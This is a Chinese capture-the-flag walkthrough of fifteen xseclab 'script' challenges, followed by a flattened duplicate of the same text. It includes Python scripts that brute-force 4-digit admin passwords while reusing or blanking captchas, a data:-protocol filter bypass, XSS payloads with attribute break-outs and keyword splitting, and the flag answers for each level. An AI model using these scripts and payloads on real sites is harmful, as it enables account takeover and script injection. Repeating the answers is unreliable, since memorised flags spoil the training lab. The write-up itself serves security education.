网络安全实验室3.脚本关
字数 3158 2025-08-11 17:40:17

网络安全实验室脚本关详细教学文档

1. Key又找不到了

目标URL: http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

解题步骤:

  1. 使用Burp Suite抓取点击链接的请求包
  2. 将请求发送到重放模块(Repeater)
  3. 点击"Go"按钮发送请求
  4. 在响应中查找key

关键点:

  • 使用Burp Suite的抓包和重放功能
  • 无需修改任何参数,直接重放请求即可获取key

结果: yougotit_script_now

2. 快速口算

目标URL: http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

解题步骤:

  1. 分析页面中的数学表达式
  2. 编写Python脚本自动计算并提交结果

Python脚本:

import requests, re

url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
c = s.get(url).content
c = c.decode('utf-8')  # python3一定要加上这一句
r = re.findall(r'[\d]{2,}', c)
r = int(r[0])*int(r[1]) + int(r[2])*(int(r[3])+int(r[4]))
c1 = s.post(url, data={'v': r}).content
print(c1.decode('utf-8'))

关键点:

  • 使用正则表达式提取数字
  • 保持会话(session)以维持状态
  • 计算结果并自动提交

结果: 123iohHKHJ%^&*(jkh

3. 这个题目是空的

解题步骤:

  1. 尝试各种常见空值表示方法
  2. 发现响应为null

关键点:

  • 尝试null、NULL、None、""等空值表示

结果: null

4. 怎么就是不弹出key呢?

目标URL: http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php

解题步骤:

  1. 审查元素发现大量混淆的JavaScript代码
  2. 提取关键函数并修改
  3. 创建本地HTML文件执行

解决方案代码:

<script>
var a = function () {
    // 此处为大量混淆代码...
    var d = eval(b);
    alert('key is first 14 chars' + '\n'+d.substr(0,14));
}()
</script>

关键点:

  • 分析混淆的JavaScript代码
  • 提取关键函数并修改输出
  • 本地执行获取前14个字符

结果: slakfjteslkjsd

5. 逗比验证码第一期

目标URL: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

解题方法1 - Python脚本:

import requests
import re

s = requests.Session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {'cookie': 'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}

for num in range(1000, 10000):
    data = {'username': 'admin', 'pwd': num, 'vcode': '99QZ', 'submit': 'submit'}
    res = s.post(url, data=data, headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试', num, '-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    if u'error' not in res:
        print(num, '正确')
        print(res)
        break

解题方法2 - Burp爆破:

  1. 抓取登录请求
  2. 发送到Intruder模块
  3. 设置pwd参数为爆破点
  4. 使用数字字典(1000-9999)进行爆破

关键点:

  • 验证码可以重复使用
  • 需要保持会话和cookie
  • 密码为4位数字

结果: 密码1238, key LJLJL789sdf#@sd

6. 逗比验证码第二期

目标URL: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

解题技巧:

  • 将验证码参数设置为空即可绕过验证码检查

Python脚本:

import requests
import re

s = requests.Session()
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head = {'cookie': 'PHPSESSID=844e5142519e671ce9180b9a47588675'}

for num in range(1000, 10000):
    data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
    res = s.post(url, data=data, headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试', num, '-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    if u'error' not in res:
        print(num, '正确')
        print(res)
        break

关键点:

  • 验证码参数留空即可绕过
  • 其他步骤与第一期相同

结果: 密码1228, key LJLJL789ss33fasvxcvsdf#@sd

7. 逗比的验证码第三期(SESSION)

目标URL: http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

Python解决方案:

import requests

s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
head = {'session': 'PHPSESSID=d369965b1284d87405231a4a5763cddc'}

for num in range(1000, 10000):
    data = {'username': 'admin', 'pwd': num, 'vcode': '', 'submit': 'submit'}
    res = s.post(url, data=data, headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试', num, '------密码错误!')
    if u'vcode error' in res:
        print('验证码错误!')
        break
    if u'error' not in res:
        print(num, '----密码破解成功!')
        print(res)
        break

关键点:

  • 必须保持会话(session)
  • 验证码参数留空
  • 密码为4位数字

结果: 密码1298, key LJLJLfuckvcodesdf#@sd

8. 微笑一下就能过关了

目标URL: http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php

解题条件分析:

  1. 必须对"^_^"赋值
  2. 值不能包含: . % [0-9] http https ftp telnet
  3. QUERY_STRING不能包含_
  4. $smile!=0
  5. file_exists($GET['^^'])必须为false
  6. $smile必须等于"('◡◡')"

解决方案:

  1. 使用URL编码将_替换为%5f
  2. 使用data协议传递内容

Payload:

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,('◡◡')

关键点:

  • URL编码绕过_限制
  • data协议绕过文件存在检查
  • 直接传递所需字符串

结果: hkjasfhsa*&IUHKUH

9. 逗比的手机验证码

目标URL: http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/

解题步骤:

  1. 获取验证码并记录(如5141)
  2. 返回重新获取验证码
  3. 使用新手机号登录
  4. 使用之前记录的验证码

关键点:

  • 验证码与手机号绑定不严格
  • 可以重复使用之前获取的验证码

结果: LJLJLGod!@@sd

10. 基情燃烧的岁月

目标URL: http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

解题步骤:

  1. 使用Burp Suite爆破三位数密码(首位不为0)
  2. 获取前任手机号: 13399999999
  3. 使用该手机号再次爆破获取flag

关键点:

  • 密码为三位数且首位不为0
  • 需要分两步进行爆破

结果: {LKK8*(!@@sd}

11. 验证码识别

目标URL: http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

使用PKAV工具步骤:

  1. 使用Burp抓包并复制到PKAV请求包模块
  2. 设置重放选项
  3. 配置验证码识别
  4. 按响应长度排序结果

关键点:

  • 使用专业工具自动化识别验证码
  • 按长度排序可快速找到正确结果

结果: flag{133dbc85dda4aa**)}

12. XSS基础关

目标URL: http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

Payload:

<script>alert(HackingLab)</script>

关键点:

  • 直接注入script标签
  • 无需特殊绕过

结果: myxssteststart!

13. XSS基础2:简单绕过

目标URL: http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

Payload:


关键点:

  • 使用img标签的onerror事件
  • 绕过script标签过滤

结果: xss2test2you

14. XSS基础3:检测与构造

目标URL: http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

Payload:

alert' onmouseover=alert(HackingLab)>

关键点:

  • 利用输入内容写入value属性的特性
  • 使用onmouseover事件触发
  • 闭合前一个属性并添加新事件

结果: xss3test2youOK_striptag

15. Principle很重要的XSS

目标URL: http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php

Payload 1:

javasc<c>ript:al<c>ert(HackingLab)

Payload 2:

' onmouseover=al<c>ert(HackingLab)>

关键点:

  • 使用标签插入绕过关键字过滤
  • 或者利用空格特性构造事件处理器
  • 需要分析过滤逻辑顺序

结果: xss4isnoteasy

网络安全实验室脚本关详细教学文档 1. Key又找不到了 目标URL : http://lab1.xseclab.com/xss1_ 30ac8668cd453e7e387c76b132b140bb/index.php 解题步骤 : 使用Burp Suite抓取点击链接的请求包 将请求发送到重放模块(Repeater) 点击"Go"按钮发送请求 在响应中查找key 关键点 : 使用Burp Suite的抓包和重放功能 无需修改任何参数,直接重放请求即可获取key 结果 : yougotit_script_now 2. 快速口算 目标URL : http://lab1.xseclab.com/xss2_ 0d557e6d2a4ac08b749b61473a075be1/index.php 解题步骤 : 分析页面中的数学表达式 编写Python脚本自动计算并提交结果 Python脚本 : 关键点 : 使用正则表达式提取数字 保持会话(session)以维持状态 计算结果并自动提交 结果 : 123iohHKHJ%^&*(jkh 3. 这个题目是空的 解题步骤 : 尝试各种常见空值表示方法 发现响应为null 关键点 : 尝试null、NULL、None、""等空值表示 结果 : null 4. 怎么就是不弹出key呢? 目标URL : http://lab1.xseclab.com/xss3_ 5dcdde90bbe55087eb3514405972b1a6/index.php 解题步骤 : 审查元素发现大量混淆的JavaScript代码 提取关键函数并修改 创建本地HTML文件执行 解决方案代码 : 关键点 : 分析混淆的JavaScript代码 提取关键函数并修改输出 本地执行获取前14个字符 结果 : slakfjteslkjsd 5. 逗比验证码第一期 目标URL : http://lab1.xseclab.com/vcode1_ bcfef7eacf7badc64aaf18844cdb1c46/index.php 解题方法1 - Python脚本 : 解题方法2 - Burp爆破 : 抓取登录请求 发送到Intruder模块 设置pwd参数为爆破点 使用数字字典(1000-9999)进行爆破 关键点 : 验证码可以重复使用 需要保持会话和cookie 密码为4位数字 结果 : 密码 1238 , key LJLJL789sdf#@sd 6. 逗比验证码第二期 目标URL : http://lab1.xseclab.com/vcode2_ a6e6bac0b47c8187b09deb20babc0e85/index.php 解题技巧 : 将验证码参数设置为空即可绕过验证码检查 Python脚本 : 关键点 : 验证码参数留空即可绕过 其他步骤与第一期相同 结果 : 密码 1228 , key LJLJL789ss33fasvxcvsdf#@sd 7. 逗比的验证码第三期(SESSION) 目标URL : http://lab1.xseclab.com/vcode3_ 9d1ea7ad52ad93c04a837e0808b17097/index.php Python解决方案 : 关键点 : 必须保持会话(session) 验证码参数留空 密码为4位数字 结果 : 密码 1298 , key LJLJLfuckvcodesdf#@sd 8. 微笑一下就能过关了 目标URL : http://lab1.xseclab.com/base13_ ead1b12e47ec7cc5390303831b779d47/index.php 解题条件分析 : 必须对"^_ ^"赋值 值不能包含: . % [ 0-9 ] http https ftp telnet QUERY_ STRING不能包含_ $smile !=0 file_ exists($ GET[ '^ ^' ])必须为false $smile必须等于"('◡◡')" 解决方案 : 使用URL编码将_ 替换为%5f 使用data协议传递内容 Payload : 关键点 : URL编码绕过_ 限制 data协议绕过文件存在检查 直接传递所需字符串 结果 : hkjasfhsa*&IUHKUH 9. 逗比的手机验证码 目标URL : http://lab1.xseclab.com/vcode5_ mobi_ 5773f3def9f77f439e058894cefc42a8/ 解题步骤 : 获取验证码并记录(如5141) 返回重新获取验证码 使用新手机号登录 使用之前记录的验证码 关键点 : 验证码与手机号绑定不严格 可以重复使用之前获取的验证码 结果 : LJLJLGod!@@sd 10. 基情燃烧的岁月 目标URL : http://lab1.xseclab.com/vcode6_ mobi_ b46772933eb4c8b5175c67dbc44d8901/ 解题步骤 : 使用Burp Suite爆破三位数密码(首位不为0) 获取前任手机号: 13399999999 使用该手机号再次爆破获取flag 关键点 : 密码为三位数且首位不为0 需要分两步进行爆破 结果 : {LKK8*(!@@sd} 11. 验证码识别 目标URL : http://lab1.xseclab.com/vcode7_ f7947d56f22133dbc85dda4f28530268/index.php 使用PKAV工具步骤 : 使用Burp抓包并复制到PKAV请求包模块 设置重放选项 配置验证码识别 按响应长度排序结果 关键点 : 使用专业工具自动化识别验证码 按长度排序可快速找到正确结果 结果 : flag{133dbc85dda4aa**)} 12. XSS基础关 目标URL : http://lab1.xseclab.com/realxss1_ f123c17dd9c363334670101779193998/index.php Payload : 关键点 : 直接注入script标签 无需特殊绕过 结果 : myxssteststart! 13. XSS基础2:简单绕过 目标URL : http://lab1.xseclab.com/realxss2_ bcedaba7e8618cdfb51178765060fc7d/index.php Payload : 关键点 : 使用img标签的onerror事件 绕过script标签过滤 结果 : xss2test2you 14. XSS基础3:检测与构造 目标URL : http://lab1.xseclab.com/realxss3_ 9b28b0ff93d0b0099f5ac7f8bad3f368/index.php Payload : 关键点 : 利用输入内容写入value属性的特性 使用onmouseover事件触发 闭合前一个属性并添加新事件 结果 : xss3test2youOK_striptag 15. Principle很重要的XSS 目标URL : http://lab1.xseclab.com/realxss4_ 9bc1559999a87a9e0968ad1d546dfe33/index.php Payload 1 : Payload 2 : 关键点 : 使用 标签插入绕过关键字过滤 或者利用空格特性构造事件处理器 需要分析过滤逻辑顺序 结果 : xss4isnoteasy